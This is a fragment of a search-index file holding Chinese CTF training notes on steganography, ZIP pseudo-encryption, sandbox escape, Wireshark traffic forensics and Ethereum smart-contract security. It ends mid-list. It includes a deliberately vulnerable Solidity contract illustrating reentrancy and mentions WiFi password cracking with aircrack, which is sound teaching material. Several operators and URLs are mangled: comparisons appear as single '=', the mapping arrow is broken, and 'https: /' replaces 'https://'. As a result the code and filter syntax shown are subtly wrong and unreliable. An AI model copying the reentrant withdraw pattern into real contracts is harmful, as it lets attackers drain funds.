\u5f00\u59cb\u7684\u6570\u636e</li> </ul> </li> <li> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_17","title":"\u9700\u8981\u539f\u56fe\u7684\u56fe\u50cf\u9690\u5199","text":"<p>\u6709\u4e9b\u60c5\u51b5\u4e0b\u7684\u56fe\u50cf\u9690\u5199\u9700\u8981\u539f\u56fe\u624d\u80fd\u89e3\u5bc6\uff0c\u8fd9\u65f6\u7b2c\u4e00\u6b65\u4e00\u822c\u662f OSINT \u641c\u7d22\u539f\u56fe</p> <ul> <li>\u4f7f\u7528\u8bc6\u56fe\u5de5\u5177\u8fdb\u884c\u641c\u7d22</li> <li>\u4e00\u822c\u9700\u8981\u641c\u539f\u56fe\u7684\u9898\u9898\u76ee\u63cf\u8ff0\u4f1a\u5e26\u6709\u6765\u6e90\u6697\u793a\u4e4b\u7c7b\u7684</li> <li> <p>\u591a\u6ce8\u610f\u641c\u5230\u7684\u56fe\u50cf\u5927\u5c0f\u3001\u8d28\u91cf\uff0c\u786e\u4fdd\u662f\u771f\u6b63\u7684\u539f\u56fe \u63a5\u4e0b\u6765\u5229\u7528\u539f\u56fe\u548c\u9690\u5199\u56fe\u50cf\u7684\u5dee\u5f02\u8fdb\u884c\u5206\u6790</p> </li> <li> <p>\u56fe\u50cf\u50cf\u7d20\u5f02\u6216\u89c2\u5bdf\u5dee\u5f02</p> <ul> <li>PIL \u624b\u52a8\u5904\u7406 / ImageChops.difference</li> <li>stegsolve image combiner \u76f2\u6c34\u5370\u7cfb\u5217</li> </ul> </li> <li>\u7ed9\u4e86\u6253\u6c34\u5370\u7684\u4ee3\u7801\u7684\u8bdd\u76f4\u63a5\u5c1d\u8bd5\u6839\u636e\u4ee3\u7801\u9006\u63a8\u5373\u53ef</li> <li>\u6ca1\u6709\u7ed9\u4ee3\u7801\u7684\u53ef\u80fd\u5c31\u662f\u5e38\u89c1\u7684\u73b0\u6709\u76f2\u6c34\u5370\u5de5\u5177</li> <li> <p>guofei9987/blind_watermark</p> </li> <li> <p>\u5de5\u5177steghide\u3001stegoveritas\u3001SilentEye</p> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_18","title":"\u97f3\u9891\u6587\u4ef6\u683c\u5f0f\u7b80\u4ecb","text":"<p>\u97f3\u9891\u7c7b\u9898\u76ee\u5176\u5b9e\u5e76\u4e0d\u5e38\u51fa\uff1a</p> <ul> <li>mp3\uff1a\u6709\u635f\u538b\u7f29</li> <li>\u5177\u4f53\u683c\u5f0f\u4e0d\u591a\u4ecb\u7ecd\uff0c\u9047\u5230\u4e86\u57fa\u672c\u4e0a\u4e5f\u5c31\u662f\u58f0\u97f3\u672c\u8eab\u7684\u9690\u5199</li> <li>wav\uff1a\u65e0\u635f\u65e0\u538b\u7f29\uff08waveform\uff09<ul> <li>\u76f4\u63a5\u5b58\u50a8\u7684\u662f\u97f3\u9891\u7684\u6ce2\u5f62\u6570\u636e\uff0c\u53ef\u64cd\u4f5c\u6027\u66f4\u9ad8</li> <li>\u6587\u4ef6\u7ed3\u6784\u4e5f\u662f\u5206 chunk \u7684\uff0c\u6709 RIFF\u3001fmt\u3001data \u7b49</li> <li>\u7f16\u7801\u97f3\u9891\u6570\u636e\u7684 sample \u4e5f\u53ef\u4ee5\u8fdb\u884c LSB \u9690\u5199</li> </ul> </li> <li>flac\uff1a\u65e0\u635f\u538b\u7f29\uff0c\u5982\u679c\u51fa\u73b0\u53ef\u80fd\u8003\u8651\u8f6c\u6362\u4e3a wav</li> <li>\u4f7f\u7528 Python \u7684 soundfile / librosa \u5e93\u8fdb\u884c\u97f3\u9891\u5904\u7406</li> <li>\u9891\u8c31\u9690\u5199</li> <li>\u97f3\u9891\u53e0\u52a0</li> <li>\u5982\u679c\u53ef\u4ee5\u627e\u5230\u539f\u97f3\u9891\uff0c\u6216\u63d0\u4f9b\u4e86\u539f\u97f3\u9891\uff0c\u53ef\u4ee5\u8fdb\u884c\u6bd4\u8f83</li> <li>\u65b9\u6cd5\u662f\u5728 Audition \u4e2d\u521b\u5efa\u591a\u8f68\u4f1a\u8bdd<ul> <li>\u5c06\u4e24\u4e2a\u97f3\u9891\u62d6\u5165\u4e24\u4e2a\u8f68\u9053</li> <li>\u6548\u679c &gt; \u5339\u914d\u54cd\u5ea6\uff0c\u5c06\u4e24\u6761\u97f3\u8f68\u7684\u54cd\u5ea6\u5339\u914d</li> <li>\u70b9\u8fdb\u5176\u4e2d\u4e00\u6761\u97f3\u8f68\uff0c\u6548\u679c &gt; \u53cd\u76f8\uff0c\u5c06\u6ce2\u5f62\u4e0a\u4e0b\u98a0\u5012</li> <li>\u4e24\u6761\u97f3\u8f68\u5339\u914d\u4e0a\u6ce2\u5f62\u4e4b\u540e\u64ad\u653e / \u6df7\u97f3\uff0c\u5c31\u80fd\u542c\u5230\u5dee\u5f02\u4e86</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#misc_1","title":"\u5176\u4ed6Misc\u9898\u76ee","text":""},{"location":"NOTE/CTF/Misc/#zip","title":"ZIP\u4f2a\u52a0\u5bc6","text":"<ul> <li>ZIP \u4e5f\u4f7f\u7528\u5206\u6bb5\u7684\u65b9\u5f0f\u5b58\u50a8\u6570\u636e<ul> <li>\u672c\u5730\u6587\u4ef6\u8bb0\u5f55 50 4B 03 04\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a</li> <li>\u4e2d\u592e\u76ee\u5f55\u8bb0\u5f55 50 4B 01 02\uff0c\u53ef\u4ee5\u6709\u591a\u4e2a</li> <li>\u4e2d\u592e\u76ee\u5f55\u7ed3\u675f 50 4B 05 06</li> </ul> </li> <li>\u5728\u4e2d\u592e\u76ee\u5f55\u8bb0\u5f55\u4e2d\u6709\u4e00\u4e2a\u5b57\u6bb5\u8bb0\u5f55\u52a0\u5bc6\u65b9\u5f0f<ul> <li>\u5982\u679c\u4e0d\u4e3a 0 \u8868\u793a\u6709\u52a0\u5bc6</li> </ul> </li> <li>\u5176\u4ed6\u5b57\u6bb5\uff0c\u5982\u6700\u5c0f\u7248\u672c<ul> <li>\u53ef\u80fd\u4fee\u6539\u4e3a\u4e00\u4e2a\u4e0d\u5408\u6cd5\u7684\u503c\uff0c\u65e0\u6cd5\u7528\u89e3\u538b\u8f6f\u4ef6\u89e3\u538b</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#ppc","title":"\u6c99\u7bb1\u9003\u9038\u548c PPC","text":"<ul> <li>\u6c99\u7bb1\uff1a\u505a\u4e86\u67d0\u4e9b\u9650\u5236\u7684\u9694\u79bb\u73af\u5883<ul> <li>\u4f8b\u5982 Docker\uff0c\u6216\u4e00\u4e2a\u6c99\u7bb1\u7a0b\u5e8f\uff0c\u5982 rbash</li> </ul> </li> <li>Python \u89e3\u91ca\u5668\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u4e00\u4e2a\u6c99\u7bb1<ul> <li>\u901a\u8fc7\u9650\u5236\u6a21\u5757\u3001\u9650\u5236\u51fd\u6570\u3001\u4ee3\u7801\u5ba1\u8ba1\u7b49\u65b9\u5f0f</li> </ul> </li> <li> <p>\u6c99\u7bb1\u9003\u9038\u5c31\u662f\u5728\u6c99\u7bb1\u4e2d\u6267\u884c\u4ee3\u7801\uff0c\u83b7\u53d6\u5230\u6c99\u7bb1\u5916\u7684\u6743\u9650</p> <ul> <li>Python \u7684 os \u53ca importlib \u6a21\u5757\u662f\u5e38\u89c1\u7684\u9003\u9038\u70b9</li> </ul> </li> <li> <p>PPC \u9898\u8f83\u4e3a\u4e0d\u5e38\u89c1</p> </li> <li>\u4e00\u822c\u662f\u9650\u5236\u4ee3\u7801\u957f\u5ea6 / \u6c47\u7f16\u6307\u4ee4\uff0c\u8981\u6c42\u5b9e\u73b0\u67d0\u4e2a\u529f\u80fd</li> </ul>"},{"location":"NOTE/CTF/Misc/#7-9-misc2","title":"7-9 Misc\u4e13\u98982","text":"<p>\u6388\u8bfe\uff1aTonyCrane</p>"},{"location":"NOTE/CTF/Misc/#part1_1","title":"Part1:\u6d41\u91cf\u53d6\u8bc1","text":""},{"location":"NOTE/CTF/Misc/#_19","title":"\u6d41\u91cf\u53d6\u8bc1\u57fa\u7840","text":"<ul> <li>\u7f51\u7edc\u6d41\u91cf\uff08 &gt; \u56de\u987e web \u57fa\u7840\uff09<ul> <li>\u5e94\u7528\u5c42\uff08HTTP/FTP/ .\uff09 &gt; \u8868\u793a\u5c42 &gt; \u4f1a\u8bdd\u5c42\uff08SSL/TLS/ .\uff09</li> <li> <p>\u4f20\u8f93\u5c42\uff08TCP/UDP\uff09 &gt; \u7f51\u7edc\u5c42\uff08IP/ICMP/ .\uff09</p> </li> <li> <p>\u6570\u636e\u94fe\u8def\u5c42 &gt; \u7269\u7406\u5c42</p> </li> </ul> </li> <li>\u6700\u7ec8\u4f20\u8f93\u7684\u4ecd\u7136\u662f\u4e8c\u8fdb\u5236\u6570\u636e<ul> <li>\u6355\u83b7\u8fd9\u4e9b\u6570\u636e\uff0c\u5c31\u53ef\u4ee5\u5206\u6790\u5f97\u5230\u6b63\u5728\u8fdb\u884c\u7684\u901a\u4fe1\u5185\u5bb9</li> </ul> </li> <li>\u6d41\u91cf\u53d6\u8bc1\u4e00\u822c\u5c31\u662f\u62ff\u5230\u8fd9\u4e9b\u6570\u636e\u5305\uff08cap\u3001pcap\u3001pcapng \u683c\u5f0f\uff09\u8fdb\u884c\u5206\u6790<ul> <li>\u5982\u6709\u635f\u574f\u7684\u8bdd\u4fee\u590d\u6570\u636e\u5305\uff08\u5c11\u89c1\uff0cpcapfix \u53ef\u4ee5\u4fee\u590d\uff09</li> <li>\u5206\u6790\u3001\u63d0\u53d6\u5f97\u5230\u6b63\u5728\u901a\u4fe1\u7684\u5185\u5bb9\uff08\u53ef\u80fd\u5305\u542b\u6709\u6548\u4fe1\u606f\uff09</li> <li>\u5206\u6790\u4e00\u4e9b\u7279\u5b9a\u7684\u3001\u4e0d\u592a\u5e38\u89c1\u7684\u534f\u8bae\uff08\u6bd4\u5982\u4e00\u4e9b\u81ea\u5b9a\u4e49\u534f\u8bae\uff09</li> <li>\u5206\u6790\u3001\u89e3\u5bc6\u4e00\u4e9b\u52a0\u5bc6\u7684\u534f\u8bae\uff08\u6bd4\u5982 VMess \u7b49\uff09</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_20","title":"\u6d41\u91cf\u53d6\u8bc1\u5e38\u7528\u5de5\u5177","text":"<ul> <li>tcpdump \u6293 TCP \u5305\uff08Linux \u547d\u4ee4\u884c\uff09</li> <li>Wireshark\uff1a\u76f4\u63a5\u6293\u5305\uff0c\u5f97\u5230\u7269\u7406\u5c42\u7684\u5168\u90e8\u6570\u636e\u5e76\u89e3\u6790\uff08\u5f00\u6e90\uff09</li> <li>\u81ea\u5e26\u547d\u4ee4\u884c\u5de5\u5177 tshark</li> <li>termshark\uff1a\u7c7b\u4f3c Wireshark \u7684\u5f00\u6e90\u547d\u4ee4\u884c\u5de5\u5177</li> <li>pyshark\uff1atshark \u7684 Python \u5c01\u88c5\uff0c\u53ef\u4ee5\u7528 Python \u811a\u672c\u5206\u6790</li> <li>scapy\uff1aPython \u5e93\uff0c\u4e5f\u53ef\u4ee5\u7528\u6765\u5206\u6790\u6d41\u91cf\u5305</li> </ul> <p>Wireshark \u57fa\u672c\u7528\u6cd5</p> <ul> <li>\u6d4f\u89c8\u4e3b\u754c\u9762\u7684\u6240\u6709\u6570\u636e\u5305\uff0c\u5927\u81f4\u4e86\u89e3\u90fd\u7531\u4ec0\u4e48\u534f\u8bae\u7ec4\u6210</li> <li>\u8ffd\u8e2a\u6d41\uff08\u8ffd\u8e2a TCP \u6d41 / \u8ffd\u8e2a HTTP \u6d41\uff09</li> <li>\u5f97\u5230\u67d0\u6b21\u901a\u4fe1\u7684\u5168\u90e8\u6570\u636e\u5305\uff0c\u5e76\u8fdb\u884c\u89e3\u6790</li> <li>\u53e6\u5b58\u4e3a\uff0c\u4fdd\u5b58\u6d41\u6570\u636e</li> <li>\u53ef\u4ee5\u8f6c\u6362\u4e0d\u540c\u7684\u663e\u793a\u5f62\u5f0f\uff08ASCII\u3001HEX\u3001Raw\uff09</li> <li>\u6587\u4ef6 &gt; \u5bfc\u51fa\uff0c\u63d0\u53d6\u67d0\u4e9b\u6570\u636e\u5305\u7684\u6d41\u5185\u5bb9</li> <li>\u7edf\u8ba1\u90e8\u5206<ul> <li>\u534f\u8bae\u5c42\u6b21\uff1a\u7edf\u8ba1\u5404\u5c42\u534f\u8bae\u7684\u6570\u636e\u5305\u6570\u91cf</li> <li>\u6d41\u91cf\u56fe\uff1a\u7edf\u8ba1\u5404\u4e2a\u7aef\u53e3\u7684\u6d41\u91cf\uff0c\u53ef\u89c6\u5316\u663e\u793a</li> <li>HTTP\uff1a\u5206\u7ec4\u8ba1\u6570\u3001\u8bf7\u6c42\u7edf\u8ba1</li> </ul> </li> </ul> <p>Wireshark \u8fc7\u6ee4\u5668</p> <ul> <li>\u8fc7\u6ee4\u534f\u8bae\uff1a\u76f4\u63a5\u8f93\u5165 tcp/udp/http \u7b49</li> <li>\u8fc7\u6ee4 ip\uff1aip.addr = xx.xx.xx.xx \u6216 ip.src ip.dst</li> <li>\u8fc7\u6ee4\u7aef\u53e3\uff1atcp.port = 80 \u6216 tcp.srcport tcp.dstport</li> <li>\u5305\u957f\u5ea6\u8fc7\u6ee4\uff1aframe.len ip.len tcp.len \u2026\u2026</li> <li>http \u8fc7\u6ee4<ul> <li>http.request.method = GET</li> <li>http.request.uri = \"/index.php\"</li> <li>http contains \"flag\"\uff08\u76f8\u5f53\u4e8e\u641c\u7d22\u529f\u80fd\uff09</li> </ul> </li> </ul> <p>HTTP\u534f\u8bae\u6d41\u91cf\u5206\u6790</p> <ul> <li>\u5206\u6790\u7edf\u8ba1\u4fe1\u606f<ul> <li>\u67e5\u770b\u6240\u6709\u7684 HTTP \u8bf7\u6c42 URI</li> <li>\u5206\u6790 HTTP \u5f80\u8fd4\u7684\u60c5\u51b5\uff0c\u6d41\u91cf\u6574\u4f53\u4fe1\u606f</li> </ul> </li> <li>\u5177\u4f53\u5206\u6790\u67d0\u4e9b\u8bf7\u6c42\uff1a\u5229\u7528\u8fc7\u6ee4\u5668</li> <li>\u5206\u6790\u67d0\u4e00\u6570\u636e\u5305\u5177\u4f53\u5185\u5bb9<ul> <li>\u8ddf\u8e2a\u6d41\uff0c\u8ddf\u8e2a TCP \u89e3\u6790 TCP\uff0c\u8ddf\u8e2a HTTP \u53ef\u4ee5\u81ea\u52a8\u89e3\u538b gzip \u7b49</li> <li>\u5206\u6790\u8bf7\u6c42\u5934\u3001\u54cd\u5e94\u5934\u3001\u8bf7\u6c42\u4f53\u3001\u54cd\u5e94\u4f53\u7b49</li> </ul> </li> </ul> <p>UDP \u534f\u8bae</p> <ul> <li> <p>UDP \u534f\u8bae\u662f\u65e0\u8fde\u63a5\u7684\uff0c\u4e0d\u9700\u8981\u50cf TCP \u4e00\u6837\u4e09\u6b21\u63e1\u624b</p> </li> <li> <p>\u548c TCP/HTTP \u4e00\u6837\u76f4\u63a5\u8ffd\u8e2a\u5206\u6790\u5c31\u53ef\u4ee5</p> </li> <li>\u5e38\u89c1\u7684\u57fa\u4e8e UDP \u7684\u534f\u8bae\uff1aDNS</li> <li> <p>\u5177\u4f53\u9898\u76ee\u793a\u4f8b</p> <ul> <li> <p>\u672c\u6b21 lab \u4e2d\u7684\u9898\u76ee\uff1adnscap</p> </li> <li> <p>MRCTF 2022\uff1aBleach!</p> </li> <li>\u57fa\u4e8e UDP \u7684 RTP \u534f\u8bae\uff0c\u9700\u8981\u624b\u52a8\u9009\u62e9\u8fdb\u884c\u89e3\u6790</li> <li>RTP \u662f\u4e00\u79cd\u97f3\u89c6\u9891\u4f20\u8f93\u534f\u8bae\uff0c\u53ef\u4ee5\u5f97\u5230\u97f3\u9891\u6d41</li> <li>wav \u97f3\u9891\u6d41\u4e2d LSB \u5305\u542b\u9690\u5199\u56fe\u7247</li> </ul> </li> </ul> <p>\u5176\u4ed6\u534f\u8bae</p> <ul> <li>ICMP \u534f\u8bae\uff1aping<ul> <li>\u67d0\u65f6\u4e5f\u4f1a\u5e26\u6709\u4e00\u4e9b\u4fe1\u606f\uff0c\u53ef\u4ee5\u8fdb\u884c\u8fdb\u4e00\u6b65\u5206\u6790</li> </ul> </li> <li> <p>OICQ \u534f\u8bae\uff1aQQ \u4f7f\u7528\uff0c\u662f\u52a0\u5bc6\u7684\uff0c\u4f46\u662f\u53ef\u4ee5\u770b\u5230\u53cc\u65b9 QQ \u53f7\u7b49</p> </li> <li> <p>WIFI \u534f\u8bae\uff08IEEE 802.11\uff09</p> <ul> <li>\u53ef\u4ee5\u4f7f\u7528 Linux aircrack \u5957\u4ef6\u7206\u7834\u5bc6\u7801      </li> <li>\u6709\u4e86\u5bc6\u7801\u540e\u53ef\u4ee5\u5728 Wireshark \u4e2d\u8bbe\u7f6e\u5e76\u89e3\u5bc6\u6d41\u91cf</li> </ul> </li> <li>USB \u534f\u8bae<ul> <li>\u5b89\u88c5\u4e86 USBcap \u4e4b\u540e\u53ef\u4ee5\u5728 Wireshark \u4e2d\u6355\u83b7 USB \u6d41\u91cf</li> <li>\u6709\u5de5\u5177\u53ef\u4ee5\u89e3\u6790\u6d41\u91cf\uff0c\u7ed8\u5236\u9f20\u6807\u8f68\u8ff9\uff0c\u5f97\u5230\u6309\u952e\u4fe1\u606f\u7b49</li> </ul> </li> <li>\u5176\u4ed6\u52a0\u5bc6\u534f\u8bae<ul> <li>VMess\uff0c\u9700\u8981\u8bfb\u6587\u6863 / \u6e90\u7801\uff0c\u5b9e\u73b0\u89e3\u5bc6</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#part2_1","title":"Part2:\u4ee5\u592a\u574a\u533a\u5757\u94fe\u57fa\u7840","text":""},{"location":"NOTE/CTF/Misc/#_21","title":"\u4ee5\u592a\u574a\u6a21\u578b\u5168\u89c8","text":"<p>\u533a\u5757\u4e0e\u4e16\u754c\u72b6\u6001</p> <p> - \u6bcf\u4e2a\u533a\u5757\u5305\u542b\u4e09\u9897 Merkle \u6811\u6839\u8282\u70b9    - stateRoot \u5373\u4e16\u754c\u72b6\u6001\u6811\u6839\u8282\u70b9\uff0c\u72b6\u6001\u662f\u4e00\u7ec4\u7528\u6237\u72b6\u6001\u7684\u7ec4\u5408 - \u533a\u5757\u7531\u201c\u77ff\u5de5\u201d\u6216\u201c\u9a8c\u8bc1\u8005\u201d\u5c06\u4ea4\u6613\u6253\u5305\u5f62\u6210\uff0c\u540e\u5e7f\u64ad\u5230\u7f51\u7edc\u4e2d    - \u6bcf\u6761\u4ea4\u6613\u4f1a\u5f15\u53d1\u4e16\u754c\u72b6\u6001\u7684\u8f6c\u53d8\uff0c\u6d88\u8017\u4e00\u5b9a gas</p> <p>\u4ea4\u6613\u4e0e\u4e16\u754c\u72b6\u6001\u8f6c\u53d8</p> <p> - \u6bcf\u4e00\u6761\u4ea4\u6613\u90fd\u4f1a\u5f15\u8d77\u72b6\u6001\u7684\u6539\u53d8 - \u591a\u4e2a\u4ea4\u6613\u6253\u5305\u5230\u4e00\u8d77\uff0c\u6700\u7ec8\u72b6\u6001\u5c31\u662f\u65b0\u533a\u5757\u5b58\u50a8\u7684\u72b6\u6001 - \u4ea4\u6613\u4fe1\u606f\u4e2d\u5305\u542b hash/v/r/s \u4e3a\u4ea4\u6613\u7b7e\u540d\uff0c\u7528\u4e8e\u9a8c\u8bc1\u4ea4\u6613\u7684\u5408\u6cd5\u6027 - \u5408\u7ea6\u5728 EVM \u4e0a\u6267\u884c\uff0c\u6267\u884c\u8fc7\u7a0b\u4e2d\u4e5f\u6709\u5404\u79cd\u6f0f\u6d1e</p>"},{"location":"NOTE/CTF/Misc/#_22","title":"\u8d26\u6237\u4e0e\u4ea4\u6613","text":"<p>\u8d26\u6237</p> <ul> <li>\u5916\u90e8\u8d26\u6237\uff08Externally Owned Account\uff09</li> <li>\u6709\u4e00\u5bf9\u516c\u79c1\u94a5\uff0c\u7528\u4e8e\u7b7e\u7f72\u4ea4\u6613<ul> <li>\u79c1\u94a5\u662f\u968f\u673a\u751f\u6210\u7684 256 \u4f4d\u6570\uff0832 \u5b57\u8282\uff09</li> <li>\u516c\u94a5\u7531\u79c1\u94a5\u7ecf\u8fc7 ECDSA \u7b97\u6cd5\u8ba1\u7b97\u800c\u6765\uff0c\u662f\u4e00\u4e2a 64 \u5b57\u8282\u7684\u6570</li> <li>\u5730\u5740\u7531\u516c\u94a5\u7ecf\u8fc7 Keccak-256 \u54c8\u5e0c\u540e\u53d6\u524d 20 \u5b57\u8282\u5f97\u5230</li> </ul> </li> </ul> <p></p> <ul> <li>\u5408\u7ea6\u8d26\u6237\uff08Contract Account\uff09</li> <li>\u7531 EOA \u901a\u8fc7\u4ea4\u6613\u521b\u5efa\u7684\u8d26\u6237\uff0c\u5176\u4e2d\u5305\u542b\u5408\u7ea6\u4ee3\u7801</li> <li>\u5408\u7ea6\u53ef\u4ee5\u5b58\u50a8\u3001\u62e5\u6709\u4ee5\u592a\u5e01</li> <li>\u5411\u5408\u7ea6\u8d26\u6237\u53d1\u9001\u4ea4\u6613 &gt; \u8c03\u7528\u5408\u7ea6\u4e2d\u7684\u51fd\u6570</li> <li>\u5408\u7ea6\u672c\u8eab\u4e0d\u80fd\u4e3b\u52a8\u53d1\u8d77\u4ea4\u6613\uff0c\u4f46\u53ef\u4ee5\u5728\u88ab\u8c03\u7528\u65f6\u5411\u5916\u53d1\u9001\u4ea4\u6613  </li> </ul> <p>\u4ea4\u6613</p> <ul> <li>\u4e00\u6761\u4ea4\u6613\u5305\u542b\u4ee5\u4e0b\u5185\u5bb9\uff1a    <ul> <li>from\uff1a\u4ea4\u6613\u53d1\u9001\u8005\u5730\u5740 </li> <li>to\uff1a\u4ea4\u6613\u63a5\u6536\u8005\u5730\u5740\uff0c\u5982\u679c\u4e3a\u7a7a\u5219\u8868\u793a\u662f\u5728\u521b\u5efa\u667a\u80fd\u5408\u7ea6</li> <li>value\uff1a\u4ea4\u6613\u91d1\u989d\uff0c\u5373\u53d1\u9001\u65b9\u8981\u7ed9\u63a5\u6536\u65b9\u8f6c\u79fb\u7684\u4ee5\u592a\u5e01\u6570\u91cf\uff08wei \u4e3a\u5355\u4f4d\uff09</li> <li>data\uff1a\u4ea4\u6613\u6570\u636e\uff0c\u5982\u679c\u662f\u521b\u5efa\u667a\u80fd\u5408\u7ea6\u5219\u662f\u667a\u80fd\u5408\u7ea6\u4ee3\u7801\uff0c\u5982\u679c\u662f\u8c03\u7528\u667a\u80fd \u5408\u7ea6\u5219\u662f\u8c03\u7528\u7684\u51fd\u6570\u540d\u548c\u53c2\u6570</li> <li>gasPrice\uff1a\u4ea4\u6613\u7684 gas \u4ef7\u683c\uff0c\u5373\u6bcf\u5355\u4f4d gas \u7684\u4ef7\u683c\uff08wei \u4e3a\u5355\u4f4d\uff09</li> <li>gasLimit\uff1a\u4ea4\u6613\u7684 gas \u4e0a\u9650\uff0c\u5373\u4ea4\u6613\u5141\u8bb8\u6267\u884c\u7684\u6700\u5927 gas \u6570\u91cf</li> <li>nonce\uff1a\u4ea4\u6613\u7684\u5e8f\u53f7\uff0c\u5373\u53d1\u9001\u8005\u5df2\u7ecf\u53d1\u9001\u7684\u4ea4\u6613\u6570\u91cf</li> </ul> </li> <li> <p>\u9664\u6b64\u4e4b\u5916\u53d1\u9001\u7684\u4ea4\u6613\u6570\u636e\u5305\u8fd8\u9700\u8981\u5305\u542b\uff1a</p> <ul> <li> <p>hash\uff1a\u4ea4\u6613\u7684\u54c8\u5e0c\u503c\uff0c\u7531\u524d\u9762\u7684\u5185\u5bb9\u548c chainId \u8ba1\u7b97\u5f97\u5230</p> </li> <li> <p>v\u3001r\u3001s\uff1a\u4ea4\u6613\u7b7e\u540d\u7684\u4e09\u4e2a\u90e8\u5206\uff0c\u7531\u53d1\u9001\u8005\u79c1\u94a5\u5bf9\u4ea4\u6613\u54c8\u5e0c\u503c\u8fdb\u884c\u7b7e\u540d\u5f97\u5230 \u4ee5\u592a\u5e01\u5355\u4f4d</p> </li> </ul> </li> </ul> <p>\u5173\u4e8e\u94fe\u4e0e faucet</p> <ul> <li> <p>\u516c\u5f00\u94fe\uff1a\u771f\u5b9e\u7684\u4ea4\u6613</p> <ul> <li> <p>\u901a\u8fc7 https: /etherscan.io/ \u67e5\u770b</p> </li> <li> <p>\u4e3b\u7f51\uff08mainnet\uff09\uff1a\u771f\u6b63\u7684\u91d1\u94b1\u4ea4\u6613\uff0c\u5f88\u5c11\u4f7f\u7528</p> </li> <li> <p>\u6d4b\u8bd5\u94fe\uff1aSepolia / Holesky \u94fe\uff0c\u53ef\u4ee5\u901a\u8fc7 faucet \u83b7\u53d6\u514d\u8d39\u4ee3\u5e01</p> <ul> <li> <p>https: /sepolia-faucet.pk910.de/</p> </li> <li> <p>Ethernaut \u7b49\u5927\u578b\u516c\u5f00\u5408\u7ea6 CTF \u5e73\u53f0\u4f1a\u4f7f\u7528</p> </li> <li>\u79c1\u94fe\uff1a\u81ea\u5df1\u642d\u5efa\u7684\u94fe\uff0c\u6a21\u62df\u771f\u5b9e\u7684\u94fe<ul> <li>\u4e00\u822c CTF \u9898\u76ee\u90fd\u4f7f\u7528\u79c1\u94fe\u90e8\u7f72</li> <li>\u53ef\u4ee5\u901a\u8fc7 geth \u7b49\u5de5\u5177\u90e8\u7f72\u79c1\u94fe</li> </ul> </li> </ul> </li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_23","title":"\u667a\u80fd\u5408\u7ea6\u5b89\u5168\u57fa\u7840","text":"<p>\u5173\u4e8e\u5408\u7ea6</p> <ul> <li> <p>\u5408\u7ea6\u7684\u521b\u5efa\u548c\u8c03\u7528\u90fd\u901a\u8fc7\u4ea4\u6613\u6765\u8fdb\u884c</p> </li> <li> <p>\u5408\u7ea6\u8c03\u7528\uff1a</p> <ul> <li> <p>data \u5b57\u6bb5\u4e3a\u7f16\u7801\u540e\u7684\u51fd\u6570\u540d\uff08selector\uff09\u548c\u53c2\u6570\uff0c\u79f0\u4e3a calldata</p> </li> <li> <p>selector \u662f\u51fd\u6570\u7b7e\u540d keccak256 \u7684\u524d\u56db\u4e2a\u5b57\u8282</p> </li> <li> <p>\u4e0d\u5b58\u5728\u5bf9\u5e94 selector \u5219\u4f1a\u8c03\u7528 fallback \u51fd\u6570\uff0c\u8fd8\u4e0d\u5b58\u5728\u5219 revert</p> </li> <li>\u5408\u7ea6\u5b58\u50a8\uff1a\u5168\u516c\u5f00\u5b58\u50a8\uff0c\u90fd\u5728\u94fe\u4e0a\uff0c\u53ef\u4ee5 getStorageAt \u67e5\u770b</li> </ul> </li> <li> <p>revert\uff1a\u56de\u6eda\uff0c\u6240\u6709\u5f53\u524d\u8c03\u7528\u4e2d\u7684\u72b6\u6001\u6539\u53d8\u5168\u90fd\u590d\u539f</p> </li> <li> <p>\u5408\u7ea6\u7f16\u8bd1\u540e\u5f97\u5230\u5b57\u8282\u7801\u5728 EVM \u4e0a\u8fd0\u884c\uff1a</p> <ul> <li>https:/ethervm.io/</li> </ul> </li> </ul> <p>Solidity \u8bed\u8a00</p> <p>https://note.tonycrane.cc/ctf/blockchain/eth/solidity/  \u5b98\u65b9\u6587\u6863\uff1ahttps://docs.soliditylang.org/en/latest/index.html</p> <ul> <li>\u4ee5\u592a\u574a\u5b98\u65b9\u7684\u7f16\u5199\u667a\u80fd\u5408\u7ea6\u7684\u8bed\u8a00<ul> <li>IDE\uff1ahttps: /remix.ethereum.org/</li> <li>\u901a\u8fc7 contract \u5173\u952e\u5b57\u58f0\u660e\u4e00\u4e2a\u5408\u7ea6</li> <li>\u901a\u8fc7 function \u5b9a\u4e49\u4e00\u4e2a\u53ef\u4ee5\u8c03\u7528\u7684\u51fd\u6570</li> <li>public\u3001internal\u3001external\u3001private</li> <li>\u5c5e\u6027\uff08\u72b6\u6001\uff09\u4f1a\u81ea\u52a8\u521b\u5efa getter \u51fd\u6570</li> <li>\u901a\u8fc7 view\u3001pure \u5173\u952e\u5b57\u5b9a\u4e49\u4e00\u4e2a\u4e0d\u6539\u53d8\u72b6\u6001\u7684\u51fd\u6570</li> <li>\u901a\u8fc7 payable \u5173\u952e\u5b57\u5b9a\u4e49\u4e00\u4e2a\u53ef\u4ee5\u63a5\u6536\u4ee5\u592a\u5e01\u7684\u51fd\u6570</li> <li>\u7279\u6b8a\u51fd\u6570\uff1aconstructor\u3001fallback\u3001receive</li> </ul> </li> </ul>"},{"location":"NOTE/CTF/Misc/#_24","title":"\u5e38\u89c1\u6f0f\u6d1e","text":"<ul> <li>\u91cd\u5165\u653b\u51fb</li> </ul> <pre><code>contract Bank {\nmapping(address &gt; uint256) balances;\n .\nfunction withdraw(uint256 amount) public {\nrequire(balances[msg.sender] = amount);\n msg.sender.call.value(amount)(\"\");\n balances[msg.sender] -= amount;\n }\n}\n</code></pre> <p><code>withdraw</code> \u65f6\u5148\u8f6c\u94b1\u518d\u66f4\u65b0 balances,\u8f6c\u94b1\u7684\u65f6\u5019\u4f1a\u8fdb\u5165\u5230\u76ee\u6807\u5408\u7ea6\u7684 <code>fallback</code> \u51fd\u6570\uff0c\u53ef\u4ee5\u518d\u6b21\u8c03\u7528 <code>withdraw</code>,\u518d\u6b21\u8c03\u7528\u65f6<code>require</code>\u68c0\u67e5\u7684\u4ecd\u7136\u662f\u8001\u7684 <code>balances</code>,\u8fd9\u6837\u53ef\u4ee5\u628a\u94b1\u53d6\u7a7a</p> <ul> <li>\u4f2a\u968f\u673a\u6570</li> 